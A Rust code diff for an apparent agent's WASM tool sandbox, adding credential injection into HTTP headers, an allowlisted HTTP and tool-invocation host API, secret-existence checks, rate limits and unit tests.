if pattern == name {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if let Some(prefix) = pattern.strip_suffix('*') {
|
||||||
|
if name.starts_with(prefix) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Inject a single credential into the result.
|
||||||
|
fn inject_credential(
|
||||||
|
result: &mut InjectedCredentials,
|
||||||
|
location: &CredentialLocation,
|
||||||
|
secret: &DecryptedSecret,
|
||||||
|
) {
|
||||||
|
match location {
|
||||||
|
CredentialLocation::AuthorizationBearer => {
|
||||||
|
result.headers.insert(
|
||||||
|
"Authorization".to_string(),
|
||||||
|
format!("Bearer {}", secret.expose()),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
CredentialLocation::AuthorizationBasic { username } => {
|
||||||
|
let credentials = format!("{}:{}", username, secret.expose());
|
||||||
|
let encoded = base64_encode(credentials.as_bytes());
|
||||||
|
result
|
||||||
|
.headers
|
||||||
|
.insert("Authorization".to_string(), format!("Basic {}", encoded));
|
||||||
|
}
|
||||||
|
CredentialLocation::Header { name, prefix } => {
|
||||||
|
let value = match prefix {
|
||||||
|
Some(p) => format!("{}{}", p, secret.expose()),
|
||||||
|
None => secret.expose().to_string(),
|
||||||
|
};
|
||||||
|
result.headers.insert(name.clone(), value);
|
||||||
|
}
|
||||||
|
CredentialLocation::QueryParam { name } => {
|
||||||
|
result
|
||||||
|
.query_params
|
||||||
|
.insert(name.clone(), secret.expose().to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Check if a host matches a pattern (supports wildcards).
|
||||||
|
fn host_matches_pattern(host: &str, pattern: &str) -> bool {
|
||||||
|
if pattern == host {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Support wildcard: *.example.com matches sub.example.com
|
||||||
|
if let Some(suffix) = pattern.strip_prefix("*.") {
|
||||||
|
if host.ends_with(suffix) && host.len() > suffix.len() {
|
||||||
|
let prefix = &host[..host.len() - suffix.len()];
|
||||||
|
if prefix.ends_with('.') || prefix.is_empty() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
false
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Simple base64 encoding (avoids extra dependency).
|
||||||
|
fn base64_encode(input: &[u8]) -> String {
|
||||||
|
const ALPHABET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||||
|
|
||||||
|
let mut result = String::new();
|
||||||
|
let mut i = 0;
|
||||||
|
|
||||||
|
while i < input.len() {
|
||||||
|
let b0 = input[i];
|
||||||
|
let b1 = if i + 1 < input.len() { input[i + 1] } else { 0 };
|
||||||
|
let b2 = if i + 2 < input.len() { input[i + 2] } else { 0 };
|
||||||
|
|
||||||
|
result.push(ALPHABET[(b0 >> 2) as usize] as char);
|
||||||
|
result.push(ALPHABET[(((b0 & 0x03) << 4) | (b1 >> 4)) as usize] as char);
|
||||||
|
|
||||||
|
if i + 1 < input.len() {
|
||||||
|
result.push(ALPHABET[(((b1 & 0x0f) << 2) | (b2 >> 6)) as usize] as char);
|
||||||
|
} else {
|
||||||
|
result.push('=');
|
||||||
|
}
|
||||||
|
|
||||||
|
if i + 2 < input.len() {
|
||||||
|
result.push(ALPHABET[(b2 & 0x3f) as usize] as char);
|
||||||
|
} else {
|
||||||
|
result.push('=');
|
||||||
|
}
|
||||||
|
|
||||||
|
i += 3;
|
||||||
|
}
|
||||||
|
|
||||||
|
result
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use std::collections::HashMap;
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use secrecy::SecretString;
|
||||||
|
|
||||||
|
use crate::secrets::{
|
||||||
|
CreateSecretParams, CredentialLocation, CredentialMapping, InMemorySecretsStore,
|
||||||
|
SecretsCrypto, SecretsStore,
|
||||||
|
};
|
||||||
|
use crate::tools::wasm::credential_injector::{
|
||||||
|
CredentialInjector, base64_encode, host_matches_pattern,
|
||||||
|
};
|
||||||
|
|
||||||
|
fn test_store() -> InMemorySecretsStore {
|
||||||
|
let key = "0123456789abcdef0123456789abcdef";
|
||||||
|
let crypto = Arc::new(SecretsCrypto::new(SecretString::from(key.to_string())).unwrap());
|
||||||
|
InMemorySecretsStore::new(crypto)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_host_matches_exact() {
|
||||||
|
assert!(host_matches_pattern("api.openai.com", "api.openai.com"));
|
||||||
|
assert!(!host_matches_pattern("api.openai.com", "other.com"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_host_matches_wildcard() {
|
||||||
|
assert!(host_matches_pattern("api.example.com", "*.example.com"));
|
||||||
|
assert!(host_matches_pattern("sub.api.example.com", "*.example.com"));
|
||||||
|
assert!(!host_matches_pattern("example.com", "*.example.com"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_base64_encode() {
|
||||||
|
assert_eq!(base64_encode(b"hello"), "aGVsbG8=");
|
||||||
|
assert_eq!(base64_encode(b"user:pass"), "dXNlcjpwYXNz");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_inject_bearer() {
|
||||||
|
let store = test_store();
|
||||||
|
store
|
||||||
|
.create("user1", CreateSecretParams::new("openai_key", "sk-test123"))
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
let mut mappings = HashMap::new();
|
||||||
|
mappings.insert(
|
||||||
|
"openai".to_string(),
|
||||||
|
CredentialMapping {
|
||||||
|
secret_name: "openai_key".to_string(),
|
||||||
|
location: CredentialLocation::AuthorizationBearer,
|
||||||
|
host_patterns: vec!["api.openai.com".to_string()],
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
let injector = CredentialInjector::new(mappings, vec!["openai_key".to_string()]);
|
||||||
|
let result = injector
|
||||||
|
.inject("user1", "api.openai.com", &store)
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
assert_eq!(
|
||||||
|
result.headers.get("Authorization"),
|
||||||
|
Some(&"Bearer sk-test123".to_string())
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_inject_custom_header() {
|
||||||
|
let store = test_store();
|
||||||
|
store
|
||||||
|
.create("user1", CreateSecretParams::new("api_key", "secret123"))
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
let mut mappings = HashMap::new();
|
||||||
|
mappings.insert(
|
||||||
|
"custom".to_string(),
|
||||||
|
CredentialMapping {
|
||||||
|
secret_name: "api_key".to_string(),
|
||||||
|
location: CredentialLocation::Header {
|
||||||
|
name: "X-API-Key".to_string(),
|
||||||
|
prefix: None,
|
||||||
|
},
|
||||||
|
host_patterns: vec!["*.example.com".to_string()],
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
let injector = CredentialInjector::new(mappings, vec!["api_key".to_string()]);
|
||||||
|
let result = injector
|
||||||
|
.inject("user1", "api.example.com", &store)
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
assert_eq!(
|
||||||
|
result.headers.get("X-API-Key"),
|
||||||
|
Some(&"secret123".to_string())
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_inject_basic_auth() {
|
||||||
|
let store = test_store();
|
||||||
|
store
|
||||||
|
.create("user1", CreateSecretParams::new("password", "mypassword"))
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
let mut mappings = HashMap::new();
|
||||||
|
mappings.insert(
|
||||||
|
"basic".to_string(),
|
||||||
|
CredentialMapping {
|
||||||
|
secret_name: "password".to_string(),
|
||||||
|
location: CredentialLocation::AuthorizationBasic {
|
||||||
|
username: "myuser".to_string(),
|
||||||
|
},
|
||||||
|
host_patterns: vec!["api.service.com".to_string()],
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
let injector = CredentialInjector::new(mappings, vec!["password".to_string()]);
|
||||||
|
let result = injector
|
||||||
|
.inject("user1", "api.service.com", &store)
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
// myuser:mypassword base64 encoded
|
||||||
|
let expected = format!("Basic {}", base64_encode(b"myuser:mypassword"));
|
||||||
|
assert_eq!(result.headers.get("Authorization"), Some(&expected));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_no_credentials_for_host() {
|
||||||
|
let store = test_store();
|
||||||
|
|
||||||
|
let injector = CredentialInjector::new(HashMap::new(), vec![]);
|
||||||
|
let result = injector
|
||||||
|
.inject("user1", "unknown.com", &store)
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
assert!(result.is_empty());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn test_access_denied_for_secret() {
|
||||||
|
let store = test_store();
|
||||||
|
store
|
||||||
|
.create("user1", CreateSecretParams::new("secret_key", "value"))
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
let mut mappings = HashMap::new();
|
||||||
|
mappings.insert(
|
||||||
|
"test".to_string(),
|
||||||
|
CredentialMapping {
|
||||||
|
secret_name: "secret_key".to_string(),
|
||||||
|
location: CredentialLocation::AuthorizationBearer,
|
||||||
|
host_patterns: vec!["api.test.com".to_string()],
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
// Empty allowed list = nothing allowed
|
||||||
|
let injector = CredentialInjector::new(mappings, vec![]);
|
||||||
|
let result = injector.inject("user1", "api.test.com", &store).await;
|
||||||
|
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
}
|
||||||
+253
-42
@@ -2,10 +2,29 @@
|
|||||||
//!
|
//!
|
||||||
//! Implements a minimal, security-focused host API following VMLogic patterns
|
//! Implements a minimal, security-focused host API following VMLogic patterns
|
||||||
//! from NEAR blockchain. The principle is: deny by default, grant minimal capabilities.
|
//! from NEAR blockchain. The principle is: deny by default, grant minimal capabilities.
|
||||||
|
//!
|
||||||
|
//! # Extended API (V2)
|
||||||
|
//!
|
||||||
|
//! In addition to the basic log/time/workspace functions, the host now provides:
|
||||||
|
//!
|
||||||
|
//! - **http_request**: Make HTTP requests to allowlisted endpoints with credential injection
|
||||||
|
//! - **tool_invoke**: Call other tools via aliases
|
||||||
|
//! - **secret_exists**: Check if a secret exists (never read values)
|
||||||
|
//!
|
||||||
|
//! # Security Architecture
|
||||||
|
//!
|
||||||
|
//! ```text
|
||||||
|
//! WASM Tool ──▶ Host Function ──▶ Allowlist ──▶ Credential ──▶ Execute
|
||||||
|
//! (untrusted) (boundary) Validator Injector Request
|
||||||
|
//! │
|
||||||
|
//! ▼
|
||||||
|
//! ◀────── Leak Detector ◀────── Response
|
||||||
|
//! (sanitized, no secrets)
|
||||||
|
//! ```
|
||||||
|
|
||||||
use std::sync::Arc;
|
|
||||||
use std::time::{SystemTime, UNIX_EPOCH};
|
use std::time::{SystemTime, UNIX_EPOCH};
|
||||||
|
|
||||||
|
use crate::tools::wasm::capabilities::Capabilities;
|
||||||
use crate::tools::wasm::error::WasmError;
|
use crate::tools::wasm::error::WasmError;
|
||||||
|
|
||||||
/// Maximum log entries per execution (prevents log spam attacks).
|
/// Maximum log entries per execution (prevents log spam attacks).
|
||||||
@@ -44,46 +63,10 @@ pub struct LogEntry {
|
|||||||
pub timestamp_millis: u64,
|
pub timestamp_millis: u64,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Capabilities that can be granted to a WASM tool.
|
|
||||||
///
|
|
||||||
/// By default, tools have NO capabilities. Each must be explicitly granted.
|
|
||||||
#[derive(Debug, Clone, Default)]
|
|
||||||
pub struct Capabilities {
|
|
||||||
/// If Some, tool can read from workspace at these paths.
|
|
||||||
/// Empty vec means workspace access granted but no paths allowed yet.
|
|
||||||
/// None means workspace access completely disabled.
|
|
||||||
pub workspace_read: Option<WorkspaceCapability>,
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Workspace read capability configuration.
|
|
||||||
#[derive(Clone, Default)]
|
|
||||||
pub struct WorkspaceCapability {
|
|
||||||
/// Allowed path prefixes (e.g., ["context/", "daily/"]).
|
|
||||||
/// Empty means all paths allowed (within safety constraints).
|
|
||||||
pub allowed_prefixes: Vec<String>,
|
|
||||||
/// Function to actually read from workspace.
|
|
||||||
/// This is injected by the runtime to avoid coupling to workspace impl.
|
|
||||||
pub reader: Option<Arc<dyn WorkspaceReader>>,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl std::fmt::Debug for WorkspaceCapability {
|
|
||||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
|
||||||
f.debug_struct("WorkspaceCapability")
|
|
||||||
.field("allowed_prefixes", &self.allowed_prefixes)
|
|
||||||
.field("reader", &self.reader.is_some())
|
|
||||||
.finish()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Trait for reading from workspace (allows mocking in tests).
|
|
||||||
pub trait WorkspaceReader: Send + Sync {
|
|
||||||
fn read(&self, path: &str) -> Option<String>;
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Host state maintained during WASM execution.
|
/// Host state maintained during WASM execution.
|
||||||
///
|
///
|
||||||
/// This is the "VMLogic" equivalent, it tracks all side effects and enforces limits.
|
/// This is the "VMLogic" equivalent, it tracks all side effects and enforces limits.
|
||||||
#[derive(Debug)]
|
/// Extended in V2 to support HTTP requests, tool invocation, and secret checks.
|
||||||
pub struct HostState {
|
pub struct HostState {
|
||||||
/// Collected log entries.
|
/// Collected log entries.
|
||||||
logs: Vec<LogEntry>,
|
logs: Vec<LogEntry>,
|
||||||
@@ -93,6 +76,25 @@ pub struct HostState {
|
|||||||
capabilities: Capabilities,
|
capabilities: Capabilities,
|
||||||
/// Count of log entries dropped due to rate limiting.
|
/// Count of log entries dropped due to rate limiting.
|
||||||
logs_dropped: usize,
|
logs_dropped: usize,
|
||||||
|
/// User ID for secret/credential lookups.
|
||||||
|
user_id: Option<String>,
|
||||||
|
/// HTTP request count for rate limiting within this execution.
|
||||||
|
http_request_count: u32,
|
||||||
|
/// Tool invoke count for rate limiting within this execution.
|
||||||
|
tool_invoke_count: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Debug for HostState {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
f.debug_struct("HostState")
|
||||||
|
.field("logs_count", &self.logs.len())
|
||||||
|
.field("logging_enabled", &self.logging_enabled)
|
||||||
|
.field("logs_dropped", &self.logs_dropped)
|
||||||
|
.field("user_id", &self.user_id)
|
||||||
|
.field("http_request_count", &self.http_request_count)
|
||||||
|
.field("tool_invoke_count", &self.tool_invoke_count)
|
||||||
|
.finish()
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
impl HostState {
|
impl HostState {
|
||||||
@@ -103,6 +105,22 @@ impl HostState {
|
|||||||
logging_enabled: true,
|
logging_enabled: true,
|
||||||
capabilities,
|
capabilities,
|
||||||
logs_dropped: 0,
|
logs_dropped: 0,
|
||||||
|
user_id: None,
|
||||||
|
http_request_count: 0,
|
||||||
|
tool_invoke_count: 0,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Create a new host state with user context.
|
||||||
|
pub fn new_with_user(capabilities: Capabilities, user_id: impl Into<String>) -> Self {
|
||||||
|
Self {
|
||||||
|
logs: Vec::new(),
|
||||||
|
logging_enabled: true,
|
||||||
|
capabilities,
|
||||||
|
logs_dropped: 0,
|
||||||
|
user_id: Some(user_id.into()),
|
||||||
|
http_request_count: 0,
|
||||||
|
tool_invoke_count: 0,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -111,6 +129,16 @@ impl HostState {
|
|||||||
Self::new(Capabilities::default())
|
Self::new(Capabilities::default())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Get the user ID if set.
|
||||||
|
pub fn user_id(&self) -> Option<&str> {
|
||||||
|
self.user_id.as_deref()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Get the capabilities.
|
||||||
|
pub fn capabilities(&self) -> &Capabilities {
|
||||||
|
&self.capabilities
|
||||||
|
}
|
||||||
|
|
||||||
/// Log a message from WASM.
|
/// Log a message from WASM.
|
||||||
///
|
///
|
||||||
/// Returns Ok(()) if logged, Err if rate limited or too long.
|
/// Returns Ok(()) if logged, Err if rate limited or too long.
|
||||||
@@ -204,6 +232,114 @@ impl HostState {
|
|||||||
pub fn logs_dropped(&self) -> usize {
|
pub fn logs_dropped(&self) -> usize {
|
||||||
self.logs_dropped
|
self.logs_dropped
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Check if a secret exists (does not expose value).
|
||||||
|
///
|
||||||
|
/// Returns false if:
|
||||||
|
/// - Secrets capability not granted
|
||||||
|
/// - Secret name not in allowed list
|
||||||
|
/// - User ID not set
|
||||||
|
pub fn secret_exists(&self, name: &str) -> bool {
|
||||||
|
let capability = match &self.capabilities.secrets {
|
||||||
|
Some(cap) => cap,
|
||||||
|
None => return false,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Check if name is allowed
|
||||||
|
capability.is_allowed(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Check if HTTP capability is available for a given URL and method.
|
||||||
|
///
|
||||||
|
/// Returns an error message if not allowed.
|
||||||
|
pub fn check_http_allowed(&self, url: &str, method: &str) -> Result<(), String> {
|
||||||
|
let capability = self
|
||||||
|
.capabilities
|
||||||
|
.http
|
||||||
|
.as_ref()
|
||||||
|
.ok_or_else(|| "HTTP capability not granted".to_string())?;
|
||||||
|
|
||||||
|
// Use the allowlist validator
|
||||||
|
use crate::tools::wasm::allowlist::AllowlistValidator;
|
||||||
|
|
||||||
|
let validator = AllowlistValidator::new(capability.allowlist.clone());
|
||||||
|
let result = validator.validate(url, method);
|
||||||
|
|
||||||
|
if result.is_allowed() {
|
||||||
|
Ok(())
|
||||||
|
} else {
|
||||||
|
Err(format!("HTTP request not allowed: {:?}", result))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Check if tool invocation is allowed for an alias.
|
||||||
|
///
|
||||||
|
/// Returns the real tool name if allowed, error otherwise.
|
||||||
|
pub fn check_tool_invoke_allowed(&self, alias: &str) -> Result<String, String> {
|
||||||
|
let capability = self
|
||||||
|
.capabilities
|
||||||
|
.tool_invoke
|
||||||
|
.as_ref()
|
||||||
|
.ok_or_else(|| "Tool invocation capability not granted".to_string())?;
|
||||||
|
|
||||||
|
capability
|
||||||
|
.resolve_alias(alias)
|
||||||
|
.map(|s| s.to_string())
|
||||||
|
.ok_or_else(|| format!("Unknown tool alias: {}", alias))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Increment HTTP request counter and check rate limit.
|
||||||
|
///
|
||||||
|
/// Returns error if rate limit exceeded.
|
||||||
|
pub fn record_http_request(&mut self) -> Result<(), String> {
|
||||||
|
// Verify HTTP capability exists
|
||||||
|
let _capability = self
|
||||||
|
.capabilities
|
||||||
|
.http
|
||||||
|
.as_ref()
|
||||||
|
.ok_or_else(|| "HTTP capability not granted".to_string())?;
|
||||||
|
|
||||||
|
self.http_request_count += 1;
|
||||||
|
|
||||||
|
// Simple per-execution rate limit (additional to global rate limiter)
|
||||||
|
// This prevents a single execution from making too many requests
|
||||||
|
const MAX_REQUESTS_PER_EXECUTION: u32 = 50;
|
||||||
|
if self.http_request_count > MAX_REQUESTS_PER_EXECUTION {
|
||||||
|
return Err(format!(
|
||||||
|
"Too many HTTP requests in single execution (max {})",
|
||||||
|
MAX_REQUESTS_PER_EXECUTION
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Increment tool invoke counter and check rate limit.
|
||||||
|
///
|
||||||
|
/// Returns error if rate limit exceeded.
|
||||||
|
pub fn record_tool_invoke(&mut self) -> Result<(), String> {
|
||||||
|
self.tool_invoke_count += 1;
|
||||||
|
|
||||||
|
const MAX_INVOKES_PER_EXECUTION: u32 = 20;
|
||||||
|
if self.tool_invoke_count > MAX_INVOKES_PER_EXECUTION {
|
||||||
|
return Err(format!(
|
||||||
|
"Too many tool invocations in single execution (max {})",
|
||||||
|
MAX_INVOKES_PER_EXECUTION
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Get HTTP request count for this execution.
|
||||||
|
pub fn http_request_count(&self) -> u32 {
|
||||||
|
self.http_request_count
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Get tool invoke count for this execution.
|
||||||
|
pub fn tool_invoke_count(&self) -> u32 {
|
||||||
|
self.tool_invoke_count
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Validate a workspace path for security.
|
/// Validate a workspace path for security.
|
||||||
@@ -243,12 +379,15 @@ fn validate_workspace_path(path: &str) -> Result<(), WasmError> {
|
|||||||
|
|
||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
mod tests {
|
mod tests {
|
||||||
use crate::tools::wasm::host::{
|
|
||||||
Capabilities, HostState, LogLevel, MAX_LOG_ENTRIES, MAX_LOG_MESSAGE_BYTES,
|
|
||||||
WorkspaceCapability, WorkspaceReader, validate_workspace_path,
|
|
||||||
};
|
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use crate::tools::wasm::capabilities::{
|
||||||
|
Capabilities, SecretsCapability, WorkspaceCapability, WorkspaceReader,
|
||||||
|
};
|
||||||
|
use crate::tools::wasm::host::{
|
||||||
|
HostState, LogLevel, MAX_LOG_ENTRIES, MAX_LOG_MESSAGE_BYTES, validate_workspace_path,
|
||||||
|
};
|
||||||
|
|
||||||
struct MockReader {
|
struct MockReader {
|
||||||
content: String,
|
content: String,
|
||||||
}
|
}
|
||||||
@@ -330,6 +469,7 @@ mod tests {
|
|||||||
allowed_prefixes: vec![],
|
allowed_prefixes: vec![],
|
||||||
reader: Some(reader),
|
reader: Some(reader),
|
||||||
}),
|
}),
|
||||||
|
..Default::default()
|
||||||
};
|
};
|
||||||
|
|
||||||
let state = HostState::new(capabilities);
|
let state = HostState::new(capabilities);
|
||||||
@@ -348,6 +488,7 @@ mod tests {
|
|||||||
allowed_prefixes: vec!["context/".to_string()],
|
allowed_prefixes: vec!["context/".to_string()],
|
||||||
reader: Some(reader),
|
reader: Some(reader),
|
||||||
}),
|
}),
|
||||||
|
..Default::default()
|
||||||
};
|
};
|
||||||
|
|
||||||
let state = HostState::new(capabilities);
|
let state = HostState::new(capabilities);
|
||||||
@@ -392,4 +533,74 @@ mod tests {
|
|||||||
assert!(validate_workspace_path("projects/alpha/notes.md").is_ok());
|
assert!(validate_workspace_path("projects/alpha/notes.md").is_ok());
|
||||||
assert!(validate_workspace_path("MEMORY.md").is_ok());
|
assert!(validate_workspace_path("MEMORY.md").is_ok());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_secret_exists_no_capability() {
|
||||||
|
let state = HostState::minimal();
|
||||||
|
assert!(!state.secret_exists("any_secret"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_secret_exists_with_capability() {
|
||||||
|
let capabilities = Capabilities {
|
||||||
|
secrets: Some(SecretsCapability {
|
||||||
|
allowed_names: vec!["openai_*".to_string(), "exact_name".to_string()],
|
||||||
|
}),
|
||||||
|
..Default::default()
|
||||||
|
};
|
||||||
|
|
||||||
|
let state = HostState::new(capabilities);
|
||||||
|
|
||||||
|
// Glob match
|
||||||
|
assert!(state.secret_exists("openai_key"));
|
||||||
|
assert!(state.secret_exists("openai_org"));
|
||||||
|
|
||||||
|
// Exact match
|
||||||
|
assert!(state.secret_exists("exact_name"));
|
||||||
|
|
||||||
|
// Not allowed
|
||||||
|
assert!(!state.secret_exists("stripe_key"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_http_request_rate_limit() {
|
||||||
|
// Create state with HTTP capability enabled
|
||||||
|
let capabilities = Capabilities {
|
||||||
|
http: Some(crate::tools::wasm::capabilities::HttpCapability::default()),
|
||||||
|
..Default::default()
|
||||||
|
};
|
||||||
|
let mut state = HostState::new(capabilities);
|
||||||
|
|
||||||
|
// Should allow up to 50 requests
|
||||||
|
for _ in 0..50 {
|
||||||
|
assert!(state.record_http_request().is_ok());
|
||||||
|
}
|
||||||
|
|
||||||
|
// 51st should fail
|
||||||
|
assert!(state.record_http_request().is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_tool_invoke_rate_limit() {
|
||||||
|
// Create state with tool invoke capability enabled
|
||||||
|
let capabilities = Capabilities {
|
||||||
|
tool_invoke: Some(crate::tools::wasm::capabilities::ToolInvokeCapability::default()),
|
||||||
|
..Default::default()
|
||||||
|
};
|
||||||
|
let mut state = HostState::new(capabilities);
|
||||||
|
|
||||||
|
// Should allow up to 20 invocations
|
||||||
|
for _ in 0..20 {
|
||||||
|
assert!(state.record_tool_invoke().is_ok());
|
||||||
|
}
|
||||||
|
|
||||||
|
// 21st should fail
|
||||||
|
assert!(state.record_tool_invoke().is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_new_with_user() {
|
||||||
|
let state = HostState::new_with_user(Capabilities::default(), "user123");
|
||||||
|
assert_eq!(state.user_id(), Some("user123"));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+50
-20
@@ -10,26 +10,23 @@
|
|||||||
//!
|
//!
|
||||||
//! - **Memory limits**: Memory growth is bounded via ResourceLimiter.
|
//! - **Memory limits**: Memory growth is bounded via ResourceLimiter.
|
||||||
//!
|
//!
|
||||||
//! - **Minimal host API**: Only log, time, and optional workspace read.
|
//! - **Extended host API (V2)**: log, time, workspace, HTTP, tool invoke, secrets
|
||||||
//!
|
//!
|
||||||
//! - **Capability-based security**: Features are opt-in via Capabilities.
|
//! - **Capability-based security**: Features are opt-in via Capabilities.
|
||||||
//!
|
//!
|
||||||
//! # Architecture
|
//! # Architecture (V2)
|
||||||
//!
|
//!
|
||||||
//! ```text
|
//! ```text
|
||||||
//! ┌─────────────────────────────────────────────────────────────────────┐
|
//! ┌─────────────────────────────────────────────────────────────────────────────┐
|
||||||
//! │ Tool Registration │
|
//! │ WASM Tool Execution │
|
||||||
//! │ WASM bytes → Validate → Compile (AOT) → PreparedModule (cached) │
|
//! │ │
|
||||||
//! └─────────────────────────────────────────────────────────────────────┘
|
//! │ WASM Tool ──▶ Host Function ──▶ Allowlist ──▶ Credential ──▶ Execute │
|
||||||
//! │
|
//! │ (untrusted) (boundary) Validator Injector Request │
|
||||||
//! ▼
|
//! │ │ │
|
||||||
//! ┌─────────────────────────────────────────────────────────────────────┐
|
//! │ ▼ │
|
||||||
//! │ Tool Execution │
|
//! │ ◀────── Leak Detector ◀────── Response │
|
||||||
//! │ JSON params → WasmToolWrapper → Fresh Instance → Execute → Result │
|
//! │ (sanitized, no secrets) │
|
||||||
//! │ ↓ ↓ │
|
//! └─────────────────────────────────────────────────────────────────────────────┘
|
||||||
//! │ ResourceLimiter HostState │
|
|
||||||
//! │ (memory, fuel) (log, time, workspace) │
|
|
||||||
//! └─────────────────────────────────────────────────────────────────────┘
|
|
||||||
//! ```
|
//! ```
|
||||||
//!
|
//!
|
||||||
//! # Security Constraints
|
//! # Security Constraints
|
||||||
@@ -40,17 +37,22 @@
|
|||||||
//! | Memory exhaustion | ResourceLimiter, 10MB default |
|
//! | Memory exhaustion | ResourceLimiter, 10MB default |
|
||||||
//! | Infinite loops | Epoch interruption + tokio timeout |
|
//! | Infinite loops | Epoch interruption + tokio timeout |
|
||||||
//! | Filesystem access | No WASI FS, only host workspace_read |
|
//! | Filesystem access | No WASI FS, only host workspace_read |
|
||||||
//! | Network access | No network host functions |
|
//! | Network access | Allowlisted endpoints only |
|
||||||
|
//! | Credential exposure | Injection at host boundary only |
|
||||||
|
//! | Secret exfiltration | Leak detector scans all outputs |
|
||||||
//! | Log spam | Max 1000 entries, 4KB per message |
|
//! | Log spam | Max 1000 entries, 4KB per message |
|
||||||
//! | Path traversal | Validate paths (no `..`, no `/` prefix) |
|
//! | Path traversal | Validate paths (no `..`, no `/` prefix) |
|
||||||
//! | Trap recovery | Discard instance, never reuse |
|
//! | Trap recovery | Discard instance, never reuse |
|
||||||
//! | Side channels | Fresh instance per execution |
|
//! | Side channels | Fresh instance per execution |
|
||||||
|
//! | Rate abuse | Per-tool rate limiting |
|
||||||
|
//! | WASM tampering | BLAKE3 hash verification on load |
|
||||||
|
//! | Direct tool access | Tool aliasing (indirection layer) |
|
||||||
//!
|
//!
|
||||||
//! # Example
|
//! # Example
|
||||||
//!
|
//!
|
||||||
//! ```ignore
|
//! ```ignore
|
||||||
//! use near_agent::tools::wasm::{WasmToolRuntime, WasmRuntimeConfig, WasmToolWrapper};
|
//! use near_agent::tools::wasm::{WasmToolRuntime, WasmRuntimeConfig, WasmToolWrapper};
|
||||||
//! use near_agent::tools::wasm::host::Capabilities;
|
//! use near_agent::tools::wasm::Capabilities;
|
||||||
//! use std::sync::Arc;
|
//! use std::sync::Arc;
|
||||||
//!
|
